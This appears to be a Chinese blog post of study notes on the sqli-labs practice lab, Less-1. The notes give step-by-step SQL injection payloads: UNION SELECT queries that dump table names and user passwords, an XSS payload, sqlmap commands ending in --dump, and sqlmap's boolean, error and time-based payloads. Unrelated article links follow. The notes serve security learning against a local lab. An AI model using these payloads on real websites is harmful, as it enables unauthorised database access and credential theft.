sqli-labs学习笔记 DAY1
DAY 1
准备工作
- 安装phpstudy
- 安装配置sqli-labs
学习笔记
- SQL语句的注释:–, #
- +在URL经过编码后会编码为空格
- SQL语句的查询语句:SELECT column_name,column_name FROM table_name;
- SQL查询的条件限制:SELECT column_name,column_name FROM table_name WHERE conditon;
sqli-labs学习
- Please input the ID as parameter with numeric value
- url:localhost/sqli-labs-master/Less-1/
- 功能尝试:localhost/sqli-labs-master/Less-1/?id=1
- 猜测:SELECT xxx FROM xxx WHERE id=x;(猜测id为数值型)
- 尝试注入点:?id=1 and 1=2; --+
- 原理:形成语句SELECT xxx FROM xxx WHERE id=1 and 1=2; --+;
- 由于条件不成立,应该不会返回任何结果,则说明存在注入点。
- 结果:结果显示正常
- 猜测:SELECT xxx FROM xxx WHERE id=‘x’;(猜测id为文本)
- 尝试注入点:?id=1’ and 1=2; --+
- 结果:返回空白,存在注入点
- 字段数猜解:?id=1’ ORDER BY n; --+(注意空格替换为+,其中n为猜解的字段数,如果报错,则说明猜解大于实际,如此进行二分猜解)
- 原理:ORDER BY 是按照某一字段排序,可以跟字段名,也可以是字段序号
- 结果:字段数为3
- 回显点查询:?id=999’ UNION SELECT 1,2,3; --+
- 原理:
- UNION为联合查询语句,与前面的查询一起返回记录
- SELECT 语句直接跟上常量,会把常量直接作为记录返回
- 注意:前面的id改为一个不存在的记录,防止第一个SELECT语句占用回显点
- 结果:显示了2和3
- 原理:
- 查询数据库版本与路径:id=999’ UNION SELECT 1,@@version,@@datadir; --+
- 原理:@@version显示数据库版本,@@datadir显示数据库文件的绝对路径
- 查询用户与数据库:id=999’ UNION SELECT 1,user(),database(); --+
- 查询所有表名:?id=999’ UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=‘security’; --+
- 结果:security数据库中的表——emails,referers,uagents,users
- 查询所有列名:?id=999’ UNION SELECT 1,2,group_concat(column_name) FROM infromation_schema.columns WHERE table_name=‘users’; --+
- 结果:users表的字段——user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
- 获得用户名和密码:?id=999’ UNION SELECT 1,group_concat(username),group_concat(password) FROM security.users; --+
结果:
| username | password | | -------- | -------- | | Dumb | Dumb | | Angelina | I-kill-you | | Dummy | p@assword | | ...... | ...... |
- xss:?id=999’ UNION SELECT 1,"<script>alert(’/xss/’);</script>",3; --+
- sqlmap使用:
- 测试命令:python sqlmap.py
- 检测注入点:python sqlmap.py -u “http://localhost/sqli-labs-master/Less-1/?id=1”
- -u参数:指定url
- -p参数:指定某一个参数,只有一个参数可以省略,如python sqlmap.py -u “http://localhost/sqli-labs-master/Less-1/?id=1” -p id
- 结果:
Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1' AND 2060=2060 AND 'ZMrl'='ZMrl Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl ause (FLOOR) Payload: id=1' AND (SELECT 1251 FROM(SELECT COUNT(*),CONCAT(0x7170767871,(SE LECT (ELT(1251=1251,1))),0x7171717871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA .PLUGINS GROUP BY x)a) AND 'JIIM'='JIIM Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: id=1' AND SLEEP(5) AND 'QAZn'='QAZn Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: id=-1434' UNION ALL SELECT NULL,NULL,CONCAT(0x7170767871,0x6b504b575852654d52446e4c4c66695279724a6b566551444b4f525a63757861744269644772546f,0x7171717871)-- RGjJ --- [15:09:24] [INFO] the back-end DBMS is MySQL web server operating system: Windows web application technology: PHP 5.4.45, Apache 2.4.23 back-end DBMS: MySQL >= 5.0从中可以看出注入参数为id,注入点支持基于布尔类型的注入,基于错误回显的注入、时间延迟的盲注还有联合查询。数据库类型为MySQL,操作系统是Windows,服务器类型是PHP5.4与Apache2.4,数据库版本大于5.0。
- 获取当前用户与当前数据库:python sqlmap.py -u “http://localhost/sqli-labs-master/Less-1/?id=1” --current-user --current-db
- current-user参数:获取当前用户
- current-db参数:获取当前数据库
- 查询数据库中的所有表:python sqlmap.py -u “http://localhost/sqli-labs-master/Less-1/?id=1” -D security --tables
- -D参数:指定当前数据库
- –tables参数:查询当前数据库所有表
- 查询字段名:python sqlmap.py -u “http://localhost/sqli-labs-master/Less-1/?id=1” -D security -T users --columns
- -T参数:指定当前表
- –columns参数:查询当前表所有字段名
- 查询所有记录:python sqlmap.py -u “http://localhost/sqli-labs-master/Less-1/?id=1” -D security -T users -C “username,password” --dump
- -C参数:指定字段
- –dump:查询记录
sqli-labs学习笔记 DAY1的更多相关文章
- OpenCV图像处理学习笔记-Day1
OpenCV图像处理学习笔记-Day1 目录 OpenCV图像处理学习笔记-Day1 第1课:图像读入.显示和保存 1. 读入图像 2. 显示图像 3. 保存图像 第2课:图像处理入门基础 1. 基本 ...
- 商业爬虫学习笔记day1
day1 一. HTTP 1.介绍: https://www.cnblogs.com/vamei/archive/2013/05/11/3069788.html http://blog.csdn.ne ...
- python网络爬虫与信息提取 学习笔记day1
Day1: 安装python之后,为其配置requests第三方库,并爬取百度主页内容. 语句解释: r.status_code检测请求的状态码,如果状态码为200,则说明访问成功,否则,则说明访问失 ...
- Python3学习笔记 - day1
前言 本文不是一篇系统的从零开始学习Python的教程,如果你需要从零开始学习Python,廖雪峰的官方网站中Python教程这部分将是比较好的一种选择,如果你英语比较好,也可以在国外的一些网站上找到 ...
- Python学习笔记 - day1 - 概述及安装
Python概述 Python是一种计算机程序设计语言.我们平时已经听说过很多种流行的编程语言,比如非常难学的C语言,非常流行的Java语言,适合网页编程的JavaScript语言等等. Python ...
- oracle学习笔记day1
oracle数据库前言 oracle sqllesson1 Selecting Rowslesson2 Sorting & Limiting Selected Rowslesson3 Sing ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- Python学习笔记——Day1
突破从改变开始,一行行字符,熟悉的感觉,还是那个味儿...呀哈哈哈 一.变量 变量是计算机语言中能存储计算结果或能表示值的抽象概念,变量可以通过变量名访问.调用及修改.变量通常表示可变状态,即具有存储 ...
- [python学习笔记]Day1
初识python 第一个python程序: print('Hello,Python') >>>Hello,Python python2与python3的一些主要的区别: 1.在pyt ...
随机推荐
- SpringMVC转发页面405错误
需要在该方法前加上:@ResponseBody注解 加上这个注解后可能在转发页面的时候出现问题,则需要在方法的参数中增加HttpServletRequest 和HttpServletResponse参 ...
- JavaScript this用法
当this为全局变量时,this为window对象 <script> // 在全局变量中,this为window window.onload= function(){ alert(wind ...
- 关于如何解决bootstrap table 列 切换 刷新 高度不一样
在使用bootstrap table时候,碰到bootstrap table 列 切换 刷新 高度不一样的问题,如图所示: 解决这个问题很简单,在你的页头加一句<!DOCTYPE html> ...
- 【.net开发者自学java系列】使用Eclipse开发SpringMVC(3)
[.net开发者自学java系列]使用Eclipse开发SpringMVC(3) 标签(空格分隔): Spring RESTful 很久没继续学习java的spring了.接下来继续 回忆一下上个随笔 ...
- 小程序 组件 Component
一.组件模板和样式 类似于页面,自定义组件拥有自己的 wxml 和模板 wxss 样式. 1.组件模板 组件的写法和页面的写法相同,组件模板与组件数据结合后生成的数节点, 将被插入到组件的引用位置.在 ...
- 【PTA 天梯赛】L1-046 整除光棍(除法模拟)
这里所谓的“光棍”,并不是指单身汪啦~ 说的是全部由1组成的数字,比如1.11.111.1111等.传说任何一个光棍都能被一个不以5结尾的奇数整除.比如,111111就可以被13整除. 现在,你的程序 ...
- Ubuntu18.04安装mysql及相关配置
step 1: sudo apt-get update step 2: sudo apt-get install mysql-server step3: 查看mysql服务端是否开启 systemct ...
- WebGl 利用缓冲区对象画多个点
效果: 代码: <!DOCTYPE html> <html lang="en"> <head> <meta charset="U ...
- XML中需要转义的字符
有的数据库表的字段名,对于某些数据库来讲,是属于关键字或者保留字来处理识别的,那么这个时候,需要对这样的字段名进行转义处理,一般在执行sql 语句脚本的情况,处理办法是在这个字段名外加上双引号就可以识 ...
- PHP实现多继承 - 通过接口的多继承特性(二)
原文地址:http://small.aiweimeng.top/index.php/archives/51.html 在上篇文章中写到php可以使用```Trait```实现代码的复用,下面介绍使用接 ...